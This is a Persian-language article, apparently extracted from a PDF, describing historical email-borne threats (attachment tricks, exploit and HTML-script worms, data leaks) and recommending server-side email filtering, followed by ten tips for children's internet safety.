بدليل آسـيب هـاي وارده     ميليون دلار را 250حدود   در هزينه اي MyDoomگزارش داد كه ويروس 

   NetworkWorld  اين در حاليسـت كـه    بر شركتها تحميل كرده است،  هزينه هاي پشتيباني فني  و

را تنهـا   2003و ساير ويروسهاي ايميل تا سپتامبر  Blaster ،SoBig.F ،Wechia هزينه هاي مقابله با 

  با هشت تا صفر جلوش!!!) 35ميليارد دلار ذكر كرد. (يعني عدد  3/5براي شركتهاي ايالات متحده 

ا را بـراي بدسـت   از ايميل براي نصب اسبهاي تروا استفاده مي شود كه مشخصـاً سـازمان شـم    بعلاوه، 

آوردن اطلاعات محرمانه يا بدست گيري كنترل سرورتان، هدف مي گيرند. ايـن ويروسـها كـه خبرگـان     

امنيت از آنها بعنوان ويروسهاي جاسوسي يـاد مـي كننـد، ابـزار قدرتمنـدي در جاسوسـي صـنعتي بشـمار         

ه يك سخنگوي شـركت  است ك 2000ميروند! يك مورد آن حمله ايميلي به شبكه مايكروسافت در اكتبر

يــاد كــرد. برطبــق گزارشــها، شــبكه  ”يــك عمــل جاسوســي ســاده و تميــز“مايكروســافت از آن بعنــوان 

كه به يك كاربر شبكه توسط ايميل ارسال شده بود، هك  backdoorمايكروسافت توسط يك ترواي 

  شد.
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  خطر نشت و فاش شدن اطلاعات
بت بـه وجـود مخـاطرات دزدي داده هـاي مهـم      سازمانها اغلـب در آگـاهي دادن بـه كاركنانشـان نس ـ    

شركتهايشان ، كوتاهي مي كنند. مطالعات مختلف نشان داده است كه چگونه كارمندان از ايميـل بمنظـور   

فرستادن اطلاعات حقوقي محرمانه استفاده مي كنند. گاهي آنها اينكار را از روي ناراحتي يا كينـه تـوزي   

ك مناسب از ضربه مهلكي است كه در اثر اين عمل به سازمان وارد گاهي بدليل عدم در  انجام مي دهند.

مي شود. گاهي كارمندان از ايميل براي به اشتراك گذاري داده هاي حساسي استفاده مي كنند كه رسـماً  

  مي بايست در داخل سازمان باقي مي ماند.

كـه صـاحب     ه شـد نشـان داد  2003در انگلستان در سال  Huttonبر طبق مطالعات و پرس وجوهاي 

از ايميل براي فـاش سـاختن اطلاعـاتي كـه محرمانـه بـوده انـد         BBCمنصبان دولتي و اعضاء هيات رئيسه 

به تحقيقي اشاره كـرد كـه طـي آن از ميـان      PC Weekدر  1999اي در مارس  بخشاستفاده كرده اند. 

ـ ماننـد اطلاعـات مـالي يـا     درصد آنهـا بـه ارسـال اطلاعـات محرمانـه        31تا  21پرسنل مورد مطالعه،  800

  محصولات ـ به افراد خارج از شركتشان اعتراف كرده اند.

  خطر ايميلهاي دربردارنده محتويات بدخواهانه يا اهانت آور
كاركنان كـه حـاوي مطالـب نژادپرسـتانه، امـور جنسـي يـا سـاير موضـوعات            ايميلهاي ارسالي توسط

 2003نظـر قـانوني آسـيب پـذير نمايـد. در سـپتامبر        ناخوشايند است، مي توانـد يـك شـركت را از نقطـه    

پونـد بـه يكـي از كاركنـان       هـزار 10مجبور به پرداخـت    Holden Meehanمشاوران شركت مالي 

 2/2مجبـور بـه پرداخـت     Chevronسابق بدليل ناتواني در محافظت وي در مقابل آزار ايميلـي! شـدند.   

دريافت كرده بودند.   ه وضوح ايميلهاي آزاردهنده جنسيميليون دلار به چهار نفر از كاركنانش شد كه ب

تحت قانون انگليس، كارفرمايان مسوول ايميلهايي هستند كه توسـط كاركنانشـان در مـدت استخدامشـان     

هـزار  450نوشته و ارسال مي شود، خواه كارفرما راضي به آن ايميل بوده باشد، خواه نباشد. مبلغي معـادل  

طي يـك توافـق خـارج از دادگـاه بخـاطر ارسـال توضـيحات         Norwich Unionدلار از شركت بيمه 

  مربوط به يك سري از مسابقات درخواست شد.

  روشهاي استفاده شده براي حمله به سيستم ايميل
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براي درك انواع تهديدات ايميلي كه امروزه وجود دارد، نگـاهي اجمـالي بـه روشـهاي اصـلي فعلـي       

  حملات ايميلي مي اندازيم:

  هايي با محتواي آسيب رسانضميمه  
Meliss  وLoveLetter ) جزو اولين ويروسهايي بودند كه مساله ضميمه هايAttachments (

ايميل و اعتماد را نشان دادند. آنها از اعتمادي كه بين دوستان و همكاران وجود داشت استفاده مي كردند. 

ي خواهـد آن را بـاز كنيـد. ايـن همـاني      تصور كنيد يك ضميمه از دوستي دريافت مي كنيد كه از شما م ـ

و ساير ويروسهاي ايميلي مشابه اتفـاق مـي    Melissa ،AnnaKournikova ،SirCamاست كه در 

افتاد. به محض اجرا شدن، چنين ويروسهايي معمولا خودشان را به آدرسهاي ايميلي كه از دفترچه آدرس 

ذخيره مي كنند، ارسال مي كننـد. ويـروس    شخص قرباني بدست مياورند و به ايميلهايي كه صفحات وب

نويسان تاكيد زيادي روي اجراي ضميمه اي كه توسط قرباني دريافت مي شود، دارنـد.بنابراين بـراي نـام    

  استفاده مي كنند. me.pifو  SexPic.cmdضميمه ها از عناوين متفاوت و جذاب مانند 

ايميل جلوگيري كنند و فقط روي فايلهايي بسياري از كاربران سعي مي كنند كه از سرايت ويروسهاي 

كليــك مــي كننــد. بهرحــال بعضــي ويروســها، ماننــد كــرم  MPGو  JPGبــا پســوندهاي مشــخص ماننــد 

AnnaKournikova     .از پسوند چندتايي بمنظور گول زدن كاربر براي اجـراي آن اسـتفاده مـي كنـد ،

 ’AnnaKournikova.jpg.vbs‘از طريق ضميمه ايميل و با عنوان  AnnaKournikovaويروس 

را از ستاره مشهور تنيس   JPGمنتقل ميشد كه دريافت كننده را متقاعد مي كرد كه يك تصوير به فرمت 

  دريافت كرده است تا اينكه فايل ضميمه يك اسكريپت ويژوال بيسيك حاوي كدهاي آسيب رسان باشد.

دهد كه پسوند واقعي فايل را پنهان به هكرها اين اجازه را مي  Class ID (CLSID)بعلاوه، پسوند 

مي باشـد پنهـان مـي مانـد. ايـن       HTMLيك برنامه  cleanfile.jpgكنند و بدينوسيله اين حقيقت كه 

روش در حال حاضر نيز فيلترهاي محتواي ايميل را كه از روشهاي ساده بررسي فايـل اسـتفاده مـي كننـد،     

  را به سادگي مي دهد. فريب مي دهد و به هكر امكان رسيدن به كاربر مقصد

  ايميلهاي راه اندازنده اكسپلويت هاي شناخته شده
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اينترنـت را بـا شـگفتي     Nimdaاكسپلويت در حقيقت استفاده از شكافهاي امنيتي موجود است. كرم 

مواجه كرد و با گول زدن بسياري از ابزار امنيت ايميل و نفوذ به سرورها و شـبكه هـاي بـزرگ و سـرايت     

ايـن اسـت كـه روي     Nimdaان خانگي، اينترنت را فراگرفت. حقه بكارگرفته شده توسط كردن به كابر

را دارند، بطور خودكار اجرا مي  Outlook Expressيا   IEكامپيوترهايي كه نسخه آسيب پذيري از 

  از اولين ويروسهايي بود كه از يكي از اين شكافها بمنظور انتشار بهره برداري مـي كننـد.   Nimdaشود. 

ظهـور كردنـد، از يكـي از شـكافهاي اوليـه       2004كـه در مـارس    Bagleبراي مثال، انـواعي از ويـروس   

Outlook .براي انتشار بدون دخالت كاربر استفاده مي كردند  

  
  ربردارنده اسكريپتد HTMLايميلهاي با فرمت 

را ارسال و دريافت كننـد. ايميـل بـا     HTMLامروزه، تمام استفاده كنندگان ايميل مي توانند ايميلهاي 

مي تواند اسكريپتها و محتويات فعالي را دربرگيرد كه مي توانند به برنامه يا كـدها اجـازه    HTMLفرمت 

بـراي نمـايش    IEت ديگـر از اجـزا   و محصـولا  Outlookاجرا روي سيسـتم دريافـت كننـده را دهنـد.     

را بـه ارث مـي     IEاستفاده مي كنند، به اين معني كه اينها شكافهاي امنيتي موجود در   HTMLايملهاي 

  برند!

وقتي كـه ايميـل    خودكار را،  توانايي اجراي   خطر مضاعف HTMLپايه اسكريپتهاي  ويروسهاي بر

ها متوسل نمي شوند؛ بنابراين فيلترهاي ضميمه كه در نـرم   آسيب رسان باز مي شود، دارند. آنها به ضميمه

بلااستفاده هستند. بـراي مثـال    HTMLافزارهاي ضدويروس وجود دارند در نبرد با ويروسهاي اسكريپت 

استفاده مي كند و از يك   براي اجراي خودكار در هنگام بازشدن HTMLاز   BadTrans.Bويروس 
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بعدي به روشهاي مقابله خواهيم  بخشراي انتشار استفاده مي كند. در ب HTMLاكسپلويت ايميل با فرمت 

  پرداخت.

  آساني توليد يك ويروس در سالهاي اخير
با داشتن اطلاعات مختصري مثلا در مورد ويژوال بيسيك، مي توان با بهره گيري از شكافهاي امنيتـي،  

د. مطالعـه بعضـي سـايتها، شـما را بـا      باعث آشفتگي در شبكه ها و سيستم هاي استفاده كنندگان ايميل ش ـ

و نحوه بهره گيري از آنها آشنا خواهـد كـرد. حتـي بعضـي از      Outlookبعضي از شكافهاي موجود در 

كدها نيز در دسترس شما خواهد بود و با تغييرات اندكي مي توانيد ويروسي توليد كنيد كه كدهاي مورد 

وسي توليد كنيد كه شخص قرباني بمحض باز كردن ايميـل  نظر شما را اجرا كند. براي مثال مي توانيد وير

آلـوده   HTML، كدهاي مورد نظر شما اجرا شود. به اين ترتيب تمام فايلهـاي   Outlookحاوي آن در 

مي شود و اين ويروس به تمام آدرسهاي موجود در دفترچه آدرس سيستم آلوده شده فرستاده مـي شـود.   

آسيب رسـان   HTMLرا شدن آن بمحض باز شدن ايميل حاوي در اصل، ويژگي كليدي اين ويروس اج

  است.

  آيا نرم افزار ضدويروس يا فايروال براي مقابله كافيست؟
بعضي سازمانها با نصب كردن يك فايروال، خيال خود را از بابت امنيت آسـوده مـي كننـد. البتـه ايـن      

فايروالها مي توانند شـبكه شـما    يك گام ضروري براي محافظت از شبكه داخليشان است اما كافي نيست.

را از دسترس كاربران غيرمجاز مصون بدارند، اما محتواي ايميلهايي را كه توسط كاربران مجـاز از طريـق   

شبكه ارسال و دريافت مي شود، بررسي نمي كنند. به اين معني كه ويروسهاي ايميلي! مـي تواننـد از ايـن    

  سطح امنيتي عبور كنند.

هاي ويروس ياب نيز نمي تواننـد سيسـتم هـا را عليـه تمـام حملـه هـا و ويروسـهاي         در ضمن، نرم افزار

ايميلي محافظت كنند. توليدكنندگان نرم افزارهـاي ضـدويروس نمـي تواننـد همـواره برعليـه ويروسـهاي        

مهلكــي كــه از طريــق ايميــل در عــرض چنــد ســاعت در كــل دنيــا پراكنــده مــي شــوند (ماننــد كرمهــاي  

MyDoom  ،NetSky.B  وBeagle .بنابراين تكيه تنها بـر موتـور جسـتجوي      ) مراقبت كامل كنند

توسـط دولـت بريتانيـا     2004ويروس نيز باعث مراقبت كامل نمي گردد. براي مثال، يك مطالعـه در سـال   
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از   68٪از شركتهاي بزرگ انگليسي از ضدويروس استفاده مي كنند، امـا   ٪99نشان مي دهد كه اگرچه 

در  2003بــه ويروســهاي مختلــف آلــوده شــده انــد. يــك تحقيــق كــه در ســال   2003ل آنهــا در طــي ســا

آزمايشگاههاي تحقيقاتي هيولت ـ پكارد در بريستول انجام شد، نشان داد كه كرمها از نسخه هاي بـه روز   

  ضدويروس ها بمراتب سريعتر گسترش پيدا مي كنند.

  
  راه حل: يك رويكرد پيشگيرانه

وان عليه اين خطرات ايميلي محافظت شد؟ در حقيقت به يك رويكرد پيشـگيرانه  ي تبنابراين چگونه م

نياز است تا محتواي تمام ايميلهايي وارد شونده و خارج شونده قبل از رسيدن به كاربران، در سطح سـرور  

ررسي شود. به اين ترتيب، تمام محتواي مضر از ايميل آلوده حذف مي گردد و سپس به كـاربر فرسـتاده   ب

مي شود. سـازمانها و شـركتها بـا نصـب يـك فيلتـر جـامع بـراي بررسـي محتـواي ايميلهـا و يـك دروازه             

)gateway( وه و از ضدويروس برروي سرويس دهنده ايميل، مي توانند در مقابله آسيب رسانيهاي بالق

  بين رفتن زمان مفيد كار توسط ويروسهاي فعلي و آينده، خود را محافظت كنند.

به نكاتي كه توسط كاربران ايميل بايد رعايت شود، پرداخته شد و در اينجا به قابليتهـاي   در بخش اول

يك فيلتر خوب براي نصب در سرويس دهنده ايميل براي جلوگيري از آلـوده شـدن توسـط ويروسـهاي     

  يميلي اشاره مي شود. ا

  بررسي محتواي ايميل  -

  كشف بهره برداريها از شكافهاي امنيتي (اكسپلويتها)  -
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  تحليل خطرات   -

  راه حلهاي ضدويروسي  -

موارد فوق براي ازبين بردن انواع خطراتي است كه توسط ايميلها منتقـل مـي شـود، قبـل از اينكـه بتواننـد       

  ار دهند.كاربران ايميل را تحت تاثير قر

   
  ويژگيهاي زير را نيز مي توان به فيلتر مذكور اضافه كرد:

دربرداشتن چندين موتـور ويـروس بـراي بـالا بـردن نـرخ كشـف ويـروس و پاسـخ سـريعتر بـه              -

  ويروسهاي جديد.

  بررسي پيوستهاي ايميلها براي مصونيت در مقابل ضميمه هاي خطرناك  -

محافظـت در مقابـل ويروسـهاي فعلـي و آتـي كـه برپايـه        يك سپر در مقابـل اكسـپلويتها بـراي      -

  اكسپلويتها ايجاد گشته اند.

  HTMLبراي از كار انداختن اسكريپتهاي  HTMLيك موتور بررسي خطرات   -

  يك پويش گر براي ترواها و فايلهاي اجرايي براي كشف فايلهاي اجرايي آسيب رسان  -

  و ...    -

ن چندين بار به آن اشاره شده است اين است كه ايميلهاي ناشـناخته را  مهم ترين و آخرين نكته كه تا كنو

  باز نكنيد

 امنيت كودكان در اينترنتحفظ نكته براي  10

   
مدرسـه اي  اينترنت مي تواند مكاني گسترده براي كودكان باشد تا بياموزند، سرگرم شوند، با دوسـتان  

ماننـد دنيـاي واقعـي، وب هـم مـي توانـد       هدرست ما اگپ بزنند، و با آسودگي خيال به مكاشفه بپردازند. 

براي كودكان خطرناك باشد. قبل از اينكه به كودكانتان اجازه دهيد كـه بـدون نظـارت شـما بـه اينترنـت       

  متصل شوند، يك سري از قوانين بايد تعيين شوند.
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د بـا كودكانتـان   اگر نمي دانيد كه از كجا آغاز كنيد، در اينجا چندين ايده در مورد چيزهايي كـه باي ـ 

  بحث كنيد تا به آنها در مورد استفاده ايمن تر از اينترنت بياموزيد، آورده شده است:

كودكانتان را تشويق كنيد كه تجارب اينترنتي خـود را بـا شـما سـهيم شـوند. همـراه بـا كودكانتـان از          -1

  اينترنت لذت ببريد.

نند. اگر در مورد چيزي احساس ناخوشايندي دارنـد،  به فرزندانتان بياموزيد كه به غرايز خود اعتماد ك -2

  بايد به شما درباره آن بگويند.

اگر فرزندانتان به اتاق هاي گفتگو سر مي زنند، از برنامه هاي پيام رسان فوري و بـازي هـاي ويـدويي     -3

، آنلاين استفاده مي كنند، يا فعاليت هاي ديگري كه به نامي براي مشخص كـردن خودشـان نيـاز اسـت    

انجام مي دهند، به آنها در انتخاب اين نام كمك كنيد و مطمئن شـويد كـه ايـن نـام باعـث افشـاء هـيچ        

  اطلاعات شخصي درموردشان نمي شود.

به فرزندانتان تأكيد كنيد كه هرگز آدرستان، شماره تلفن يا ساير اطلاعات شخصي شامل جايي كه بـه   -4

  كنند را ارسال نكنند. مدرسه مي روند يا جايي كه دوست دارند بازي

به كودكان بياموزيد كه تفاوت بين درست و غلط در اينترنت هماني است كه در دنياي واقعـي وجـود    -5

  دارد.

به كودكان بياموزيد كه چگونه به ديگر استفاده كنندگان از اينترنت، احترام بگذارند. مطمئن شويد كه  -6

  اينكه پشت كامپيوتر هستند، تغيير نمي كند. آنها مي دانند قواعد رفتار خوب فقط به دليل

به فرزندان تأكيد كنيد كه به دارايي هاي ديگر كاربران احترام بگذارند. برايشان توضيح دهيد كه كپي  -7

ماننـد دزديـدن    -مانند موسيقي، بازيهاي تصويري و ساير برنامه ها –هاي غيرقانوني از كارهاي ديگران 

  آنان از يك فروشگاه است.

به كودكان بگوييد كه هرگز نبايد دوستان اينترنتي خود را شخصـاً ملاقـات كننـد. توضـيح دهيـد كـه        -8

  دوستان اينترنتي ممكن است هماني كه خود مي گويند، نباشند.

به كودكانتان بياموزيد كه هرچه كه مي خوانند و مي بينند، صحيح نيست. آنها را تشويق كنيـد كـه در    -9

  ينترنت از شما سؤال كنند.مورد صحت مطالب ا
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عاليت هاي اينترنتي كودكان خود را با نرم افزارهاي پيشرفته كنترل كنيد. كنترل هـاي اينچنينـي    -０

مي توانند به شما در تصفيه كردن محتويات مضر، آگاهي از سايت هايي كه كودكانتان سر مـي  

  زنند و فهميدن آنچه انجام مي دهند، كمك كنند.
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